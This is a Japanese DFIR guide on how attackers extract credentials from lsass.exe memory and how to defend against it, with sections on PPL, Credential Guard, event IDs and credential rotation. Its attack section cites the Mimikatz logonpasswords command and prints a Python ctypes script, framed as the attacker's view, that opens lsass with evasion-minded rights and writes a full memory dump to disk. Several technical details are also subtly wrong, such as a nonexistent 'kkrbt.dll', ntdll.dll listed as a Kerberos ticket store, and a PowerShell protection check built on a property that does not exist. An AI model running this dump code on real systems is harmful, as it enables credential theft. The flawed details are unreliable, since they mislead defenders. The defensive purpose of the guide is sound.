【テクニカル・上級編】メモリ上のパスワードおよび認証情報の抽出 – インシデントレスポンス & フォレンジック（DFIR）防御ガイド

LSASSの首を刎ねる者たち：メモリから認証情報を狩り尽くす攻撃者と、それを阻む要塞の築き方

インシデントレスポンスの現場で最もアドレナリンが分泌される瞬間はどこか。それは、初動のトリアージで lsass.exe に対する不審なハンドル開放の痕跡を見つけた時だ。

「またか」と小さく呟きながら、私はライブレスポンスのコンソールを叩く。攻撃者はすでに侵入の初期段階（Initial Access）を抜け、特権昇格（Privilege Escalation）とクレデンシャルアクセス（Credential Access）のフェーズを優雅に遊泳している。彼らの目的は明確だ。Local Security Authority Subsystem Service (lsass.exe) の仮想メモリ空間に常駐する平文パスワード、NTLMハッシュ、そしてKerberosチケットの強奪である。

このプロセスは、Windowsセキュリティアーキテクチャの心臓部でありながら、同時に最大の脆弱点でもある。今回は、この lsass.exe から認証情報がどのように剥ぎ取られるのかという低レイヤのメカニズムと、それを完全に無力化するためのモダンな防衛アーキテクチャについて、現場の泥臭い知見を交えて徹底的に解説しよう。

—

1. なぜ lsass.exe は狙われるのか：低レイヤメモリ構造の宿命

Windowsの認証サブシステムは、設計思想の古さと後方互換性の呪縛に囚われている。lsass.exe は、ユーザーのログオンセッションの管理、セキュリティトークンの生成、Active Directoryとの通信（Kerberos、NTLM）を一手に引き受ける。これらを実行するためには、当然ながら資格情報の検証用データをメモリ上に保持し続けなければならない。

WDigestとSSP/APの悪夢

歴史的に、Windowsは揮発性メモリ上に平文のパスワードを保持し続ける仕様（WDigest）をデフォルトで抱えていた。現代のOSではこれはデフォルトで無効化されているが、レジストリの改ざんや古いグループポリシーの継承によって、いまだに平文パスワードがメモリ上の特定の構造体にポインタをぶら下げた状態で残存していることがある。

[ lsass.exe の仮想メモリ空間 ]
 ├── wdigest.dll (WDigest資格情報キャッシュ) -> 平文パスワードが存在する可能性
 ├── ntdll.dll / kkrbt.dll -> Kerberos TGT (Ticket Granting Ticket)
 └── SAM / Active Directory Database Cache -> NTLMハッシュ

攻撃者が Mimikatz の sekurlsa::logonpasswords を実行した時、彼らがやっていることは極めてシンプルだ。lsass.exe のプロセスハンドルを獲得し、プロセス内の特定のエクスポート関数や内部構造体を走査（スキャン）し、暗号化されていない、あるいは可逆暗号化された資格情報文字列を引っこ抜いているに過ぎない。

—

2. 攻撃者の手口：APIフッキング回避とミニダンプの錬金術

EDR（Endpoint Detection and Response）やセキュリティ製品が進化するにつれ、愚直に OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, ...) を叩く手法は即座に検知されるようになった。そのため、攻撃の手口はより巧妙な「Living off the Land（LolCerts / LolBins）」およびカーネルランドを巻き込んだ回避戦術へとシフトしている。

直接システムコール（Direct Syscalls）とAPIフッキングのバイパス

EDRは通常、kernel32.dll や ntdll.dll などのユーザーランドAPIをフック（書き換え）し、プロセスが lsass.exe に対して不審なアクセスを試みた瞬間にトラップを仕掛ける。

これを回避するため、高度な脅威グループ（APT）やランサムウェアのオペレーターは、ディスク上のクリーンな ntdll.dll を手動でマッピングし直すか、あるいは直接システムコール（Direct/Indirect Syscalls）をアセンブリレベルで構築する。これにより、EDRの監視フックを華麗にスルーして、直接カーネルへ NtOpenProcess を要求するのだ。

独自のミニダンプ生成（MiniDumpWriteDumpの悪用）

dbghelp.dll が提供する MiniDumpWriteDump APIを直接呼び出すのではなく、APIの名前を動的に解決（API Hashing）したり、メモリの特定領域をコピーして安全な別のプロセスでダンプ解析を行う「オフライン解析」の手法が多用される。

以下のPython風の疑似コードは、攻撃者がどのようにしてプロセスを特定し、最小限の権限と回避策を講じてダンプを狙うかの概念を示している。

# 概念実証：EDR検知を回避するためのセキュアなプロセスハンドリングのロジック（攻撃者視点）
import ctypes
from ctypes import wintypes

# 必要なWindows APIの動的ロード（静的インポートを避ける）
kernel32 = ctypes.WinDLL('kernel32.dll', use_last_error=True)
dbghelp = ctypes.WinDLL('dbghelp.dll', use_last_error=True)

def bypass_and_dump(target_pid):
    # PROCESS_QUERY_LIMITED_INFORMATION と最小限の権限でハンドルを開く
    # フルアクセスを要求するとEDRのヒューリスティック検知に引っかかるため
    PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
    PROCESS_VM_READ = 0x0010
    
    h_process = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, False, target_pid)
    if not h_process:
        print(f"[-] プロセスオープン失敗: {ctypes.get_last_error()}")
        return False

    # ダンプファイルの作成
    file_handle = kernel32.CreateFileW(
        "C:\\Windows\\Temp\\lsass.dmp", 
        0x40000000, # GENERIC_WRITE
        0, 
        None, 
        2,          # CREATE_ALWAYS
        0x80,       # FILE_ATTRIBUTE_NORMAL
        None
    )

    if file_handle == -1:
        print("[-] ダンプファイルの作成に失敗しました。")
        kernel32.CloseHandle(h_process)
        return False

    # MiniDumpWriteDumpの呼び出し（実際にはAPI Hashingを噛ませる）
    # MiniDumpWithFullMemory = 0x00000002
    success = dbghelp.MiniDumpWriteDump(
        h_process,
        target_pid,
        file_handle,
        2, # MiniDumpWithFullMemory
        None,
        None,
        None
    )

    kernel32.CloseHandle(file_handle)
    kernel32.CloseHandle(h_process)
    return success

—

3. 防御の要塞化：現代のインフラストラクチャにおける lsass.exe 保護

では、この不可避とも思える lsass.exe の脆弱性に対して、セキュリティアーキテクトはどう立ち向かうべきか。単にアンチウイルスを導入するだけでは不十分だ。OSの低レイヤ機能と厳格な権限管理を組み合わせた「多層防御」を構築する必要がある。

1. 秘匿プロセス化（Protected Process Light: PPL）の強制

Windows 8.1以降、およびWindows 10/11では、lsass.exe を PPL (Protected Process Light) として動作させることが可能になっている。PPLとして保護されたプロセスに対しては、たとえ管理者権限（Administrator）を持つユーザーであっても、通常のプロセスから OpenProcess でハンドルを開くことができなくなる。

これを有効にするためのレジストリ設定と、PowerShellによる確認スクリプトの例を以下に示す。

# =====================================================================
# [インフラ管理者向け] LSASSのPPL（Protected Process Light）有効化スクリプト
# =====================================================================

# レジストリキーの作成と設定
$RegistryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
$ValueName = "RunAsPPL"

if (-not (Test-Path $RegistryPath)) {
    New-Item -Path $RegistryPath -Force
}

# 2を設定することで、RunAsPPLを有効化（要再起動）
Set-ItemProperty -Path $RegistryPath -Name $ValueName -Value 2 -Type Dword

Write-Host "[+] RunAsPPL がレジストリに設定されました。システムの再起動が必要です。" -ForegroundColor Green

# 現在のLSASSの保護状態を確認する命令（Sysinternals Process Explorer等でも確認可能）
Get-Process lsass | Select-Object Id, ProcessName, 
    @{Name="ProtectionLevel";Expression={
        # プロセスの保護レベルを判定（PPLが有効な場合は "Protected" 等が表示される）
        $_.Protection
    }}

*注意:* PPLを有効化しても、カーネルドライバをロードできる権限（BYOVD: Bring Your Own Vulnerable Driver等の手法）を持つ高度な攻撃者は、独自の脆弱なサードパーティ製ドライバを持ち込んでカーネル空間からPPLの保護を剥ぎ取ることがある。そのため、WDAC（Windows Defender Application Control）やHVCI（Hypervisor-Protected Code Integrity）によるカーネル保護の併用が必須となる。

2. 資格情報ガード（Credential Guard）の導入

仮想化ベースのセキュリティ（VBS: Virtualization-Based Security）を活用した Credential Guard は、lsass.exe から機密情報を完全に隔離する究極の防衛策である。

VBSは、Hyper-Vのハイパーバイザー技術を利用してセキュアな仮想化コンテナ（Virtual Secure Mode: VSM）を作成し、NTLMハッシュやKerberosチケットといった資格情報をその中に閉じ込める。仮に攻撃者が lsass.exe のメモリ空間のダンプに成功したとしても、そこには肝心の秘密データが存在しないため、Mimikatz等で引っこ抜けるのは「中身の空いたガワ」だけになる。

—

4. DFIRの現場から：LSASSインシデントのフォレンジック手順

もしSOCのアラートで lsass.exe への不審なアクセスや、ディスク上への不審なダンプファイル（lsass.dmp や拡張子を変えたバイナリ）を発見した場合、インシデントレスポンスチームは以下の手順で迅速にフォレンジック調査を行わなければならない。

1. ライブメモリの保全（Live Response）

揮発性メモリが上書きされる前に、WinPmemやDumpItなどの信頼できるツールを使用してメモリイメージを取得する（ただし、PPL環境下では専用のカーネルドライバ署名が必要）。

2. イベントログ（Event Logs）の解析

Event ID 4656 / 4663: オブジェクトへのアクセス試行（lsass.exe に対するアクセス権限の要求を監視）。
Event ID 7045: 攻撃者がカーネルドライバをインストールしていないか（BYOVDの兆候）。
Sysmon Event ID 10 (ProcessAccess): lsass.exe をターゲットにしたプロセスのオープン操作。特に、未署名のバイナリや、C:\Users\Public などの書き込み可能なディレクトリから実行されたプロセスからのアクセスは即座に隔離対象とする。

3. 資格情報のローテーション

攻撃者がすでにメモリにアクセス成功していた場合、当該端末およびドメイン全体の関連アカウントのパスワード、Kerberosのkrbtgtアカウントのパスワードを直ちにリセットする（黄金のチケット / Golden Ticket 攻撃の予防）。

—

5. 結びに代えて：終わりなきイタチごっこを制するために

lsass.exe からの認証情報抽出というテーマは、攻撃者と防御者の終わりのない技術的格闘の縮図である。どれほど強固なEDRを導入しようとも、OSの設計上の根幹にある仕様の隙間を突こうとする試みは止まらない。

セキュリティアーキテクトやテックリードに求められるのは、「攻撃を100%防ぐ」という幻想を捨てることだ。代わりに、「攻撃が成功する前提（Assume Breach）」に立ち、万が一 lsass.exe のメモリが覗き見られたとしても、そこに本物の資格情報が存在しない環境（Credential Guardの徹底）を作り上げること、そして異常なプロセスアクセスをミリ秒単位で検知・遮断する多層防御の網を張り巡らせることである。

要塞の門番を欺く手口が高度化するならば、我々は要塞そのものの構造をアップデートし続けなければならない。冷徹なロジックと確実な実装こそが、サイバー空間における唯一の盾なのだ。